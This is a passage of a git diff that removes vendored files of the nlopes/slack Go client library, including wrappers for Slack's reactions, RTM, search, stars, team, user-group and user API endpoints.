get reactions to an item. -func NewGetReactionsParameters() GetReactionsParameters { - return GetReactionsParameters{ - Full: false, - } -} - -type getReactionsResponseFull struct { - Type string - M struct { - Reactions []ItemReaction - } `json:"message"` - F struct { - Reactions []ItemReaction - } `json:"file"` - FC struct { - Reactions []ItemReaction - } `json:"comment"` - SlackResponse -} - -func (res getReactionsResponseFull) extractReactions() []ItemReaction { - switch res.Type { - case "message": - return res.M.Reactions - case "file": - return res.F.Reactions - case "file_comment": - return res.FC.Reactions - } - return []ItemReaction{} -} - -const ( - DEFAULT_REACTIONS_USER = "" - DEFAULT_REACTIONS_COUNT = 100 - DEFAULT_REACTIONS_PAGE = 1 - DEFAULT_REACTIONS_FULL = false -) - -// ListReactionsParameters is the inputs to find all reactions by a user. -type ListReactionsParameters struct { - User string - Count int - Page int - Full bool -} - -// NewListReactionsParameters initializes the inputs to find all reactions -// performed by a user. -func NewListReactionsParameters() ListReactionsParameters { - return ListReactionsParameters{ - User: DEFAULT_REACTIONS_USER, - Count: DEFAULT_REACTIONS_COUNT, - Page: DEFAULT_REACTIONS_PAGE, - Full: DEFAULT_REACTIONS_FULL, - } -} - -type listReactionsResponseFull struct { - Items []struct { - Type string - Channel string - M struct { - *Message - } `json:"message"` - F struct { - *File - Reactions []ItemReaction - } `json:"file"` - FC struct { - *Comment - Reactions []ItemReaction - } `json:"comment"` - } - Paging `json:"paging"` - SlackResponse -} - -func (res listReactionsResponseFull) extractReactedItems() []ReactedItem { - items := make([]ReactedItem, len(res.Items)) - for i, input := range res.Items { - item := ReactedItem{} - item.Type = input.Type - switch input.Type { - case "message": - item.Channel = input.Channel - item.Message = input.M.Message - item.Reactions = input.M.Reactions - case "file": - item.File = input.F.File - item.Reactions = input.F.Reactions - case "file_comment": - item.File = input.F.File - item.Comment = input.FC.Comment - item.Reactions = input.FC.Reactions - } - items[i] = item - } - return items -} - -// AddReaction adds a reaction emoji to a message, file or file comment. -func (api *Client) AddReaction(name string, item ItemRef) error { - values := url.Values{ - "token": {api.config.token}, - } - if name != "" { - values.Set("name", name) - } - if item.Channel != "" { - values.Set("channel", string(item.Channel)) - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - response := &SlackResponse{} - if err := post("reactions.add", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// RemoveReaction removes a reaction emoji from a message, file or file comment. -func (api *Client) RemoveReaction(name string, item ItemRef) error { - values := url.Values{ - "token": {api.config.token}, - } - if name != "" { - values.Set("name", name) - } - if item.Channel != "" { - values.Set("channel", string(item.Channel)) - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - response := &SlackResponse{} - if err := post("reactions.remove", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// GetReactions returns details about the reactions on an item. -func (api *Client) GetReactions(item ItemRef, params GetReactionsParameters) ([]ItemReaction, error) { - values := url.Values{ - "token": {api.config.token}, - } - if item.Channel != "" { - values.Set("channel", string(item.Channel)) - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - if params.Full != DEFAULT_REACTIONS_FULL { - values.Set("full", strconv.FormatBool(params.Full)) - } - response := &getReactionsResponseFull{} - if err := post("reactions.get", values, response, api.debug); err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response.extractReactions(), nil -} - -// ListReactions returns information about the items a user reacted to. -func (api *Client) ListReactions(params ListReactionsParameters) ([]ReactedItem, *Paging, error) { - values := url.Values{ - "token": {api.config.token}, - } - if params.User != DEFAULT_REACTIONS_USER { - values.Add("user", params.User) - } - if params.Count != DEFAULT_REACTIONS_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Page != DEFAULT_REACTIONS_PAGE { - values.Add("page", strconv.Itoa(params.Page)) - } - if params.Full != DEFAULT_REACTIONS_FULL { - values.Add("full", strconv.FormatBool(params.Full)) - } - response := &listReactionsResponseFull{} - err := post("reactions.list", values, response, api.debug) - if err != nil { - return nil, nil, err - } - if !response.Ok { - return nil, nil, errors.New(response.Error) - } - return response.extractReactedItems(), &response.Paging, nil -} diff --git a/vendor/github.com/nlopes/slack/rtm.go b/vendor/github.com/nlopes/slack/rtm.go deleted file mode 100644 index e79f7d44aa..0000000000 --- a/vendor/github.com/nlopes/slack/rtm.go +++ /dev/null @@ -1,94 +0,0 @@ -package slack - -import ( - "encoding/json" - "fmt" - "net/url" - "time" -) - -// StartRTM calls the "rtm.start" endpoint and returns the provided URL and the full Info -// block. -// -// To have a fully managed Websocket connection, use `NewRTM`, and call `ManageConnection()` -// on it. -func (api *Client) StartRTM() (info *Info, websocketURL string, err error) { - response := &infoResponseFull{} - err = post("rtm.start", url.Values{"token": {api.config.token}}, response, api.debug) - if err != nil { - return nil, "", fmt.Errorf("post: %s", err) - } - if !response.Ok { - return nil, "", response.Error - } - - // websocket.Dial does not accept url without the port (yet) - // Fixed by: https://github.com/golang/net/commit/5058c78c3627b31e484a81463acd51c7cecc06f3 - // but slack returns the address with no port, so we have to fix it - api.Debugln("Using URL:", response.Info.URL) - websocketURL, err = websocketizeURLPort(response.Info.URL) - if err != nil { - return nil, "", fmt.Errorf("parsing response URL: %s", err) - } - - return &response.Info, websocketURL, nil -} - -// ConnectRTM calls the "rtm.connect" endpoint and returns the provided URL and the compact Info -// block. -// -// To have a fully managed Websocket connection, use `NewRTM`, and call `ManageConnection()` -// on it. -func (api *Client) ConnectRTM() (info *Info, websocketURL string, err error) { - response := &infoResponseFull{} - err = post("rtm.connect", url.Values{"token": {api.config.token}}, response, api.debug) - if err != nil { - return nil, "", fmt.Errorf("post: %s", err) - } - if !response.Ok { - return nil, "", response.Error - } - - // websocket.Dial does not accept url without the port (yet) - // Fixed by: https://github.com/golang/net/commit/5058c78c3627b31e484a81463acd51c7cecc06f3 - // but slack returns the address with no port, so we have to fix it - api.Debugln("Using URL:", response.Info.URL) - websocketURL, err = websocketizeURLPort(response.Info.URL) - if err != nil { - return nil, "", fmt.Errorf("parsing response URL: %s", err) - } - - return &response.Info, websocketURL, nil -} - -// NewRTM returns a RTM, which provides a fully managed connection to -// Slack's websocket-based Real-Time Messaging protocol. -func (api *Client) NewRTM() *RTM { - return api.NewRTMWithOptions(nil) -} - -// NewRTMWithOptions returns a RTM, which provides a fully managed connection to -// Slack's websocket-based Real-Time Messaging protocol. -// This also allows to configure various options available for RTM API. -func (api *Client) NewRTMWithOptions(options *RTMOptions) *RTM { - result := &RTM{ - Client: *api, - IncomingEvents: make(chan RTMEvent, 50), - outgoingMessages: make(chan OutgoingMessage, 20), - pings: make(map[int]time.Time), - isConnected: false, - wasIntentional: true, - killChannel: make(chan bool), - forcePing: make(chan bool), - rawEvents: make(chan json.RawMessage), - idGen: NewSafeID(1), - } - - if options != nil { - result.useRTMStart = options.UseRTMStart - } else { - result.useRTMStart = true - } - - return result -} diff --git a/vendor/github.com/nlopes/slack/search.go b/vendor/github.com/nlopes/slack/search.go deleted file mode 100644 index ab3c5dadf2..0000000000 --- a/vendor/github.com/nlopes/slack/search.go +++ /dev/null @@ -1,137 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -const ( - DEFAULT_SEARCH_SORT = "score" - DEFAULT_SEARCH_SORT_DIR = "desc" - DEFAULT_SEARCH_HIGHLIGHT = false - DEFAULT_SEARCH_COUNT = 100 - DEFAULT_SEARCH_PAGE = 1 -) - -type SearchParameters struct { - Sort string - SortDirection string - Highlight bool - Count int - Page int -} - -type CtxChannel struct { - ID string `json:"id"` - Name string `json:"name"` -} - -type CtxMessage struct { - User string `json:"user"` - Username string `json:"username"` - Text string `json:"text"` - Timestamp string `json:"ts"` - Type string `json:"type"` -} - -type SearchMessage struct { - Type string `json:"type"` - Channel CtxChannel `json:"channel"` - User string `json:"user"` - Username string `json:"username"` - Timestamp string `json:"ts"` - Text string `json:"text"` - Permalink string `json:"permalink"` - Previous CtxMessage `json:"previous"` - Previous2 CtxMessage `json:"previous_2"` - Next CtxMessage `json:"next"` - Next2 CtxMessage `json:"next_2"` -} - -type SearchMessages struct { - Matches []SearchMessage `json:"matches"` - Paging `json:"paging"` - Pagination `json:"pagination"` - Total int `json:"total"` -} - -type SearchFiles struct { - Matches []File `json:"matches"` - Paging `json:"paging"` - Pagination `json:"pagination"` - Total int `json:"total"` -} - -type searchResponseFull struct { - Query string `json:"query"` - SearchMessages `json:"messages"` - SearchFiles `json:"files"` - SlackResponse -} - -func NewSearchParameters() SearchParameters { - return SearchParameters{ - Sort: DEFAULT_SEARCH_SORT, - SortDirection: DEFAULT_SEARCH_SORT_DIR, - Highlight: DEFAULT_SEARCH_HIGHLIGHT, - Count: DEFAULT_SEARCH_COUNT, - Page: DEFAULT_SEARCH_PAGE, - } -} - -func (api *Client) _search(path, query string, params SearchParameters, files, messages bool) (response *searchResponseFull, error error) { - values := url.Values{ - "token": {api.config.token}, - "query": {query}, - } - if params.Sort != DEFAULT_SEARCH_SORT { - values.Add("sort", params.Sort) - } - if params.SortDirection != DEFAULT_SEARCH_SORT_DIR { - values.Add("sort_dir", params.SortDirection) - } - if params.Highlight != DEFAULT_SEARCH_HIGHLIGHT { - values.Add("highlight", strconv.Itoa(1)) - } - if params.Count != DEFAULT_SEARCH_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Page != DEFAULT_SEARCH_PAGE { - values.Add("page", strconv.Itoa(params.Page)) - } - response = &searchResponseFull{} - err := post(path, values, response, api.debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil - -} - -func (api *Client) Search(query string, params SearchParameters) (*SearchMessages, *SearchFiles, error) { - response, err := api._search("search.all", query, params, true, true) - if err != nil { - return nil, nil, err - } - return &response.SearchMessages, &response.SearchFiles, nil -} - -func (api *Client) SearchFiles(query string, params SearchParameters) (*SearchFiles, error) { - response, err := api._search("search.files", query, params, true, false) - if err != nil { - return nil, err - } - return &response.SearchFiles, nil -} - -func (api *Client) SearchMessages(query string, params SearchParameters) (*SearchMessages, error) { - response, err := api._search("search.messages", query, params, false, true) - if err != nil { - return nil, err - } - return &response.SearchMessages, nil -} diff --git a/vendor/github.com/nlopes/slack/slack.go b/vendor/github.com/nlopes/slack/slack.go deleted file mode 100644 index eb68635455..0000000000 --- a/vendor/github.com/nlopes/slack/slack.go +++ /dev/null @@ -1,88 +0,0 @@ -package slack - -import ( - "errors" - "log" - "net/url" - "os" -) - -var logger *log.Logger // A logger that can be set by consumers -/* - Added as a var so that we can change this for testing purposes -*/ -var SLACK_API string = "https://slack.com/api/" -var SLACK_WEB_API_FORMAT string = "https://%s.slack.com/api/users.admin.%s?t=%s" - -type SlackResponse struct { - Ok bool `json:"ok"` - Error string `json:"error"` -} - -type AuthTestResponse struct { - URL string `json:"url"` - Team string `json:"team"` - User string `json:"user"` - TeamID string `json:"team_id"` - UserID string `json:"user_id"` -} - -type authTestResponseFull struct { - SlackResponse - AuthTestResponse -} - -type Client struct { - config struct { - token string - } - info Info - debug bool -} - -// SetLogger let's library users supply a logger, so that api debugging -// can be logged along with the application's debugging info. -func SetLogger(l *log.Logger) { - logger = l -} - -func New(token string) *Client { - s := &Client{} - s.config.token = token - return s -} - -// AuthTest tests if the user is able to do authenticated requests or not -func (api *Client) AuthTest() (response *AuthTestResponse, error error) { - responseFull := &authTestResponseFull{} - err := post("auth.test", url.Values{"token": {api.config.token}}, responseFull, api.debug) - if err != nil { - return nil, err - } - if !responseFull.Ok { - return nil, errors.New(responseFull.Error) - } - return &responseFull.AuthTestResponse, nil -} - -// SetDebug switches the api into debug mode -// When in debug mode, it logs various info about what its doing -// If you ever use this in production, don't call SetDebug(true) -func (api *Client) SetDebug(debug bool) { - api.debug = debug - if debug && logger == nil { - logger = log.New(os.Stdout, "nlopes/slack", log.LstdFlags | log.Lshortfile) - } -} - -func (api *Client) Debugf(format string, v ...interface{}) { - if api.debug { - logger.Printf(format, v...) - } -} - -func (api *Client) Debugln(v ...interface{}) { - if api.debug { - logger.Println(v...) - } -} diff --git a/vendor/github.com/nlopes/slack/stars.go b/vendor/github.com/nlopes/slack/stars.go deleted file mode 100644 index cc12e6ecd2..0000000000 --- a/vendor/github.com/nlopes/slack/stars.go +++ /dev/null @@ -1,135 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -const ( - DEFAULT_STARS_USER = "" - DEFAULT_STARS_COUNT = 100 - DEFAULT_STARS_PAGE = 1 -) - -type StarsParameters struct { - User string - Count int - Page int -} - -type StarredItem Item - -type listResponseFull struct { - Items []Item `json:"items"` - Paging `json:"paging"` - SlackResponse -} - -// NewStarsParameters initialises StarsParameters with default values -func NewStarsParameters() StarsParameters { - return StarsParameters{ - User: DEFAULT_STARS_USER, - Count: DEFAULT_STARS_COUNT, - Page: DEFAULT_STARS_PAGE, - } -} - -// AddStar stars an item in a channel -func (api *Client) AddStar(channel string, item ItemRef) error { - values := url.Values{ - "channel": {channel}, - "token": {api.config.token}, - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - response := &SlackResponse{} - if err := post("stars.add", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// RemoveStar removes a starred item from a channel -func (api *Client) RemoveStar(channel string, item ItemRef) error { - values := url.Values{ - "channel": {channel}, - "token": {api.config.token}, - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - response := &SlackResponse{} - if err := post("stars.remove", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// ListStars returns information about the stars a user added -func (api *Client) ListStars(params StarsParameters) ([]Item, *Paging, error) { - values := url.Values{ - "token": {api.config.token}, - } - if params.User != DEFAULT_STARS_USER { - values.Add("user", params.User) - } - if params.Count != DEFAULT_STARS_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Page != DEFAULT_STARS_PAGE { - values.Add("page", strconv.Itoa(params.Page)) - } - response := &listResponseFull{} - err := post("stars.list", values, response, api.debug) - if err != nil { - return nil, nil, err - } - if !response.Ok { - return nil, nil, errors.New(response.Error) - } - return response.Items, &response.Paging, nil -} - -// GetStarred returns a list of StarredItem items. The user then has to iterate over them and figure out what they should -// be looking at according to what is in the Type. -// for _, item := range items { -// switch c.Type { -// case "file_comment": -// log.Println(c.Comment) -// case "file": -// ... -// -// } -// This function still exists to maintain backwards compatibility. -// I exposed it as returning []StarredItem, so it shall stay as StarredItem -func (api *Client) GetStarred(params StarsParameters) ([]StarredItem, *Paging, error) { - items, paging, err := api.ListStars(params) - if err != nil { - return nil, nil, err - } - starredItems := make([]StarredItem, len(items)) - for i, item := range items { - starredItems[i] = StarredItem(item) - } - return starredItems, paging, nil -} diff --git a/vendor/github.com/nlopes/slack/team.go b/vendor/github.com/nlopes/slack/team.go deleted file mode 100644 index 61b6a0a16a..0000000000 --- a/vendor/github.com/nlopes/slack/team.go +++ /dev/null @@ -1,160 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -const ( - DEFAULT_LOGINS_COUNT = 100 - DEFAULT_LOGINS_PAGE = 1 -) - -type TeamResponse struct { - Team TeamInfo `json:"team"` - SlackResponse -} - -type TeamInfo struct { - ID string `json:"id"` - Name string `json:"name"` - Domain string `json:"domain"` - EmailDomain string `json:"email_domain"` - Icon map[string]interface{} `json:"icon"` -} - -type LoginResponse struct { - Logins []Login `json:"logins"` - Paging `json:"paging"` - SlackResponse -} - - -type Login struct { - UserID string `json:"user_id"` - Username string `json:"username"` - DateFirst int `json:"date_first"` - DateLast int `json:"date_last"` - Count int `json:"count"` - IP string `json:"ip"` - UserAgent string `json:"user_agent"` - ISP string `json:"isp"` - Country string `json:"country"` - Region string `json:"region"` -} - -type BillableInfoResponse struct { - BillableInfo map[string]BillingActive `json:"billable_info"` - SlackResponse - -} - -type BillingActive struct { - BillingActive bool `json:"billing_active"` -} - -// AccessLogParameters contains all the parameters necessary (including the optional ones) for a GetAccessLogs() request -type AccessLogParameters struct { - Count int - Page int -} - -// NewAccessLogParameters provides an instance of AccessLogParameters with all the sane default values set -func NewAccessLogParameters() AccessLogParameters { - return AccessLogParameters{ - Count: DEFAULT_LOGINS_COUNT, - Page: DEFAULT_LOGINS_PAGE, - } -} - - -func teamRequest(path string, values url.Values, debug bool) (*TeamResponse, error) { - response := &TeamResponse{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - - if !response.Ok { - return nil, errors.New(response.Error) - } - - return response, nil -} - -func billableInfoRequest(path string, values url.Values, debug bool) (map[string]BillingActive, error) { - response := &BillableInfoResponse{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - - if !response.Ok { - return nil, errors.New(response.Error) - } - - return response.BillableInfo, nil -} - -func accessLogsRequest(path string, values url.Values, debug bool) (*LoginResponse, error) { - response := &LoginResponse{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - - -// GetTeamInfo gets the Team Information of the user -func (api *Client) GetTeamInfo() (*TeamInfo, error) { - values := url.Values{ - "token": {api.config.token}, - } - - response, err := teamRequest("team.info", values, api.debug) - if err != nil { - return nil, err - } - return &response.Team, nil -} - -// GetAccessLogs retrieves a page of logins according to the parameters given -func (api *Client) GetAccessLogs(params AccessLogParameters) ([]Login, *Paging, error) { - values := url.Values{ - "token": {api.config.token}, - } - if params.Count != DEFAULT_LOGINS_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Page != DEFAULT_LOGINS_PAGE { - values.Add("page", strconv.Itoa(params.Page)) - } - response, err := accessLogsRequest("team.accessLogs", values, api.debug) - if err != nil { - return nil, nil, err - } - return response.Logins, &response.Paging, nil -} - -func (api *Client) GetBillableInfo(user string) (map[string]BillingActive, error) { - values := url.Values{ - "token": {api.config.token}, - "user": {user}, - } - - return billableInfoRequest("team.billableInfo", values, api.debug) -} - -// GetBillableInfoForTeam returns the billing_active status of all users on the team. -func (api *Client) GetBillableInfoForTeam() (map[string]BillingActive, error) { - values := url.Values{ - "token": {api.config.token}, - } - - return billableInfoRequest("team.billableInfo", values, api.debug) -} diff --git a/vendor/github.com/nlopes/slack/usergroups.go b/vendor/github.com/nlopes/slack/usergroups.go deleted file mode 100644 index 5cf62a91e9..0000000000 --- a/vendor/github.com/nlopes/slack/usergroups.go +++ /dev/null @@ -1,174 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strings" -) - -// UserGroup contains all the information of a user group -type UserGroup struct { - ID string `json:"id"` - TeamID string `json:"team_id"` - IsUserGroup bool `json:"is_usergroup"` - Name string `json:"name"` - Description string `json:"description"` - Handle string `json:"handle"` - IsExternal bool `json:"is_external"` - DateCreate JSONTime `json:"date_create"` - DateUpdate JSONTime `json:"date_update"` - DateDelete JSONTime `json:"date_delete"` - AutoType string `json:"auto_type"` - CreatedBy string `json:"created_by"` - UpdatedBy string `json:"updated_by"` - DeletedBy string `json:"deleted_by"` - Prefs UserGroupPrefs `json:"prefs"` - UserCount int `json:"user_count"` -} - -// UserGroupPrefs contains default channels and groups (private channels) -type UserGroupPrefs struct { - Channels []string `json:"channels"` - Groups []string `json:"groups"` -} - -type userGroupResponseFull struct { - UserGroups []UserGroup `json:"usergroups"` - UserGroup UserGroup `json:"usergroup"` - Users []string `json:"users"` - SlackResponse -} - -func userGroupRequest(path string, values url.Values, debug bool) (*userGroupResponseFull, error) { - response := &userGroupResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// CreateUserGroup creates a new user group -func (api *Client) CreateUserGroup(userGroup UserGroup) (UserGroup, error) { - values := url.Values{ - "token": {api.config.token}, - "name": {userGroup.Name}, - } - - if userGroup.Handle != "" { - values["handle"] = []string{userGroup.Handle} - } - - if userGroup.Description != "" { - values["description"] = []string{userGroup.Description} - } - - if len(userGroup.Prefs.Channels) > 0 { - values["channels"] = []string{strings.Join(userGroup.Prefs.Channels, ",")} - } - - response, err := userGroupRequest("usergroups.create", values, api.debug) - if err != nil { - return UserGroup{}, err - } - return response.UserGroup, nil -} - -// DisableUserGroup disables an existing user group -func (api *Client) DisableUserGroup(userGroup string) (UserGroup, error) { - values := url.Values{ - "token": {api.config.token}, - "usergroup": {userGroup}, - } - - response, err := userGroupRequest("usergroups.disable", values, api.debug) - if err != nil { - return UserGroup{}, err - } - return response.UserGroup, nil -} - -// EnableUserGroup enables an existing user group -func (api *Client) EnableUserGroup(userGroup string) (UserGroup, error) { - values := url.Values{ - "token": {api.config.token}, - "usergroup": {userGroup}, - } - - response, err := userGroupRequest("usergroups.enable", values, api.debug) - if err != nil { - return UserGroup{}, err - } - return response.UserGroup, nil -} - -// GetUserGroups returns a list of user groups for the team -func (api *Client) GetUserGroups() ([]UserGroup, error) { - values := url.Values{ - "token": {api.config.token}, - } - - response, err := userGroupRequest("usergroups.list", values, api.debug) - if err != nil { - return nil, err - } - return response.UserGroups, nil -} - -// UpdateUserGroup will update an existing user group -func (api *Client) UpdateUserGroup(userGroup UserGroup) (UserGroup, error) { - values := url.Values{ - "token": {api.config.token}, - "usergroup": {userGroup.ID}, - } - - if userGroup.Name != "" { - values["name"] = []string{userGroup.Name} - } - - if userGroup.Handle != "" { - values["handle"] = []string{userGroup.Handle} - } - - if userGroup.Description != "" { - values["description"] = []string{userGroup.Description} - } - - response, err := userGroupRequest("usergroups.update", values, api.debug) - if err != nil { - return UserGroup{}, err - } - return response.UserGroup, nil -} - -// GetUserGroupMembers will retrieve the current list of users in a group -func (api *Client) GetUserGroupMembers(userGroup string) ([]string, error) { - values := url.Values{ - "token": {api.config.token}, - "usergroup": {userGroup}, - } - - response, err := userGroupRequest("usergroups.users.list", values, api.debug) - if err != nil { - return []string{}, err - } - return response.Users, nil -} - -// UpdateUserGroupMembers will update the members of an existing user group -func (api *Client) UpdateUserGroupMembers(userGroup string, members string) (UserGroup, error) { - values := url.Values{ - "token": {api.config.token}, - "usergroup": {userGroup}, - "users": {members}, - } - - response, err := userGroupRequest("usergroups.users.update", values, api.debug) - if err != nil { - return UserGroup{}, err - } - return response.UserGroup, nil -} diff --git a/vendor/github.com/nlopes/slack/users.go b/vendor/github.com/nlopes/slack/users.go deleted file mode 100644 index 126798a650..0000000000 --- a/vendor/github.com/nlopes/slack/users.go +++ /dev/null @@ -1,309 +0,0 @@ -package slack - -import ( - "encoding/json" - "errors" - "net/url" -) - -const ( - DEFAULT_USER_PHOTO_CROP_X = -1 - DEFAULT_USER_PHOTO_CROP_Y = -1 - DEFAULT_USER_PHOTO_CROP_W = -1 -) - -// UserProfile contains all the information details of a given user -type UserProfile struct { - FirstName string `json:"first_name"` - LastName string `json:"last_name"` - RealName string `json:"real_name"` - RealNameNormalized string `json:"real_name_normalized"` - Email string `json:"email"` - Skype string `json:"skype"` - Phone string `json:"phone"` - Image24 string `json:"image_24"` - Image32 string `json:"image_32"` - Image48 string `json:"image_48"` - Image72 string `json:"image_72"` - Image192 string `json:"image_192"` - ImageOriginal string `json:"image_original"` - Title string `json:"title"` - BotID string `json:"bot_id,omitempty"` - ApiAppID string `json:"api_app_id,omitempty"` - StatusText string `json:"status_text,omitempty"` - StatusEmoji string `json:"status_emoji,omitempty"` -} - -// User contains all the information of a user -type User struct { - ID string `json:"id"` - Name string `json:"name"` - Deleted bool `json:"deleted"` - Color string `json:"color"` - RealName string `json:"real_name"` - TZ string `json:"tz,omitempty"` - TZLabel string `json:"tz_label"` - TZOffset int `json:"tz_offset"` - Profile UserProfile `json:"profile"` - IsBot bool `json:"is_bot"` - IsAdmin bool `json:"is_admin"` - IsOwner bool `json:"is_owner"` - IsPrimaryOwner bool `json:"is_primary_owner"` - IsRestricted bool `json:"is_restricted"` - IsUltraRestricted bool `json:"is_ultra_restricted"` - Has2FA bool `json:"has_2fa"` - HasFiles bool `json:"has_files"` - Presence string `json:"presence"` -} - -// UserPresence contains details about a user online status -type UserPresence struct { - Presence string `json:"presence,omitempty"` - Online bool `json:"online,omitempty"` - AutoAway bool `json:"auto_away,omitempty"` - ManualAway bool `json:"manual_away,omitempty"` - ConnectionCount int `json:"connection_count,omitempty"` - LastActivity JSONTime `json:"last_activity,omitempty"` -} - -type UserIdentityResponse struct { - User UserIdentity `json:"user"` - Team TeamIdentity `json:"team"` - SlackResponse -} - -type UserIdentity struct { - ID string `json:"id"` - Name string `json:"name"` - Email string `json:"email"` - Image24 string `json:"image_24"` - Image32 string `json:"image_32"` - Image48 string `json:"image_48"` - Image72 string `json:"image_72"` - Image192 string `json:"image_192"` - Image512 string `json:"image_512"` -} - -type TeamIdentity struct { - ID string `json:"id"` - Name string `json:"name"` - Domain string `json:"domain"` - Image34 string `json:"image_34"` - Image44 string `json:"image_44"` - Image68 string `json:"image_68"` - Image88 string `json:"image_88"` - Image102 string `json:"image_102"` - Image132 string `json:"image_132"` - Image230 string `json:"image_230"` - ImageDefault bool `json:"image_default"` - ImageOriginal string `json:"image_original"` -} - -type userResponseFull struct { - Members []User `json:"members,omitempty"` // ListUsers - User `json:"user,omitempty"` // GetUserInfo - UserPresence // GetUserPresence - SlackResponse -} - -type UserSetPhotoParams struct { - CropX int - CropY int - CropW int -} - -func NewUserSetPhotoParams() UserSetPhotoParams { - return UserSetPhotoParams{ - CropX: DEFAULT_USER_PHOTO_CROP_X, - CropY: DEFAULT_USER_PHOTO_CROP_Y, - CropW: DEFAULT_USER_PHOTO_CROP_W, - } -} - -func userRequest(path string, values url.Values, debug bool) (*userResponseFull, error) { - response := &userResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// GetUserPresence will retrieve the current presence status of given user. -func (api *Client) GetUserPresence(user string) (*UserPresence, error) { - values := url.Values{ - "token": {api.config.token}, - "user": {user}, - } - response, err := userRequest("users.getPresence", values, api.debug) - if err != nil { - return nil, err - } - return &response.UserPresence, nil -} - -// GetUserInfo will retrieve the complete user information -func (api *Client) GetUserInfo(user string) (*User, error) { - values := url.Values{ - "token": {api.config.token}, - "user": {user}, - } - response, err := userRequest("users.info", values, api.debug) - if err != nil { - return nil, err - } - return &response.User, nil -} - -// GetUsers returns the list of users (with their detailed information) -func (api *Client) GetUsers() ([]User, error) { - values := url.Values{ - "token": {api.config.token}, - "presence": {"1"}, - } - response, err := userRequest("users.list", values, api.debug) - if err != nil { - return nil, err - } - return response.Members, nil -} - -// SetUserAsActive marks the currently authenticated user as active -func (api *Client) SetUserAsActive() error { - values := url.Values{ - "token": {api.config.token}, - } - _, err := userRequest("users.setActive", values, api.debug) - if err != nil { - return err - } - return nil -} - -// SetUserPresence changes the currently authenticated user presence -func (api *Client) SetUserPresence(presence string) error { - values := url.Values{ - "token": {api.config.token}, - "presence": {presence}, - } - _, err := userRequest("users.setPresence", values, api.debug) - if err != nil { - return err - } - return nil - -} - -// GetUserIdentity will retrieve user info available per identity scopes -func (api *Client) GetUserIdentity() (*UserIdentityResponse, error) { - values := url.Values{ - "token": {api.config.token}, - } - response := &UserIdentityResponse{} - err := post("users.identity", values, response, api.debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// SetUserPhoto changes the currently authenticated user's profile image -func (api *Client) SetUserPhoto(image string, params UserSetPhotoParams) error { - response := &SlackResponse{} - values := url.Values{ - "token": {api.config.token}, - } - if params.CropX != DEFAULT_USER_PHOTO_CROP_X { - values.Add("crop_x", string(params.CropX)) - } - if params.CropY != DEFAULT_USER_PHOTO_CROP_Y { - values.Add("crop_y", string(params.CropY)) - } - if params.CropW != DEFAULT_USER_PHOTO_CROP_W { - values.Add("crop_w", string(params.CropW)) - } - err := postLocalWithMultipartResponse("users.setPhoto", image, "image", values, response, api.debug) - if err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// DeleteUserPhoto deletes the current authenticated user's profile image -func (api *Client) DeleteUserPhoto() error { - response := &SlackResponse{} - values := url.Values{ - "token": {api.config.token}, - } - err := post("users.deletePhoto", values, response, api.debug) - if err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// SetUserCustomStatus will set a custom status and emoji for the currently -// authenticated user. If statusEmoji is "" and statusText is not, the Slack API -// will automatically set it to ":speech_balloon:". Otherwise, if both are "" -// the Slack API will unset the custom status/emoji. -func (api *Client) SetUserCustomStatus(statusText, statusEmoji string) error { - // XXX(theckman): this anonymous struct is for making requests to the Slack - // API for setting and unsetting a User's Custom Status/Emoji. To change - // these values we must provide a JSON document as the profile POST field. - // - // We use an anonymous struct over UserProfile because to unset the values - // on the User's profile we cannot use the `json:"omitempty"` tag. This is - // because an empty string ("") is what's used to unset the values. Check - // out the API docs for more details: - // - // - https://api.slack.com/docs/presence-and-status#custom_status - profile, err := json.Marshal( - &struct { - StatusText string `json:"status_text"` - StatusEmoji string `json:"status_emoji"` - }{ - StatusText: statusText, - StatusEmoji: statusEmoji, - }, - ) - - if err != nil { - return err - } - - values := url.Values{ - "token": 